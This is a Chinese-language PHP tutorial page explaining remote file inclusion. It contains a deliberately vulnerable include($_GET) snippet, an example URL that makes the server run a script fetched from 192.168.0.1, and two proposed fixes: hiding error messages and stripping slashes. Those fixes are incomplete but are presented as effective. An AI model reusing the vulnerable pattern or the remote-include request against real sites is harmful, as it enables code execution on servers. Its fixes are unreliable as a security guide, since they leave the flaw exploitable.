PHP 网络开发详解之远程文件包含漏洞

 更新时间:2010年04月25日 17:30:04   作者:  
由于PHP支持使用相同的函数(Function)对本地文件和远程文件进行操作。因此,一些恶意用户通过强行使网站上的PHP代码(Code)包含自己的文件来实现执行自己脚本的目的。
(福利推荐:【腾讯云】服务器最新限时优惠活动,云服务器1核2G仅99元/年、2核4G仅768元/3年,立即抢购>>>:9i0i.cn/qcloud

(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。
复制代码 代码如下:

<?php
$file_name = $_GET["filename"]; //获得当前文件名
include("$file_name "); //包含文件
//一些其他操作
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
复制代码 代码如下:

<?php
echo "hello world!";
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
复制代码 代码如下:

<?php
$file_name = $_GET["filename"]; //获得当前文件名
if(!@include("$file_name.php")) //包含文件
{
die("页面在浏览过程中出现错误");
}
//一些其他操作
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
复制代码 代码如下:

<?php
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名
if(!@include("$file_name.php")) //包含文件
{
die("页面在浏览过程中出现错误");
}
//一些其他操作
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。

相关文章

  • PHP中文编码小技巧

    PHP中文编码小技巧

    这篇文章主要介绍了4个实用的PHP中文编码小技巧,掌握之后再也不用为编码问题苦恼了。
    2014-12-12
  • 常用的php ADODB使用方法集锦

    常用的php ADODB使用方法集锦

    ADODB使用方法 作者:飞豹游侠 整理:淡水河边
    2008-03-03
  • PHP后门隐藏的一些技巧总结

    PHP后门隐藏的一些技巧总结

    这篇文章主要介绍了关于PHP后门隐藏的一些技巧,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2020-11-11
  • PHP中判断变量为空的几种方法小结

    PHP中判断变量为空的几种方法小结

    判断变量为空,在许多场合都会用到,同时自己和许多新手一样也经常会犯一些错误,所以自己整理了一下PHP中一些常用的、判断变量为空的方法
    2013-11-11
  • php中heredoc与nowdoc介绍

    php中heredoc与nowdoc介绍

    这篇文章主要介绍了php中HEREDOC介绍,并对nowdoc以及heredoc的区别做了详细说明,推荐给有需要的小伙伴参考下。
    2014-12-12
  • php session 错误

    php session 错误

    关于session的问题集锦解决方案
    2009-05-05
  • php函数间的参数传递(值传递/引用传递)

    php函数间的参数传递(值传递/引用传递)

    函数间的参数传递包括值传递和引用传递,详细示例接下来为大家详细介绍下,感兴趣的朋友不要错过
    2013-09-09
  • PHP中iconv函数转码时截断字符问题的解决方法

    PHP中iconv函数转码时截断字符问题的解决方法

    这篇文章主要介绍了PHP中iconv函数转码时截断字符问题的解决方法,本文给出的解决方法是使用mb_convert_encoding代替iconv,需要的朋友可以参考下
    2015-01-01
  • PHP 反射(Reflection)使用实例

    PHP 反射(Reflection)使用实例

    这篇文章主要介绍了PHP 反射(Reflection)使用实例,本文讲解了ReflectionClass、ReflectionExtension、 ReflectionFunction、ReflectionMethod、ReflectionObject、ReflectionParameter等类的使用实例,需要的朋友可以参考下
    2015-05-05
  • PHP获取Exif缩略图的方法

    PHP获取Exif缩略图的方法

    这篇文章主要介绍了PHP获取Exif缩略图的方法,实例分析了php针对图片的读取及返回MIME类型的相关技巧,具有一定参考借鉴价值,需要的朋友可以参考下
    2015-07-07

最新评论

?


http://www.vxiaotou.com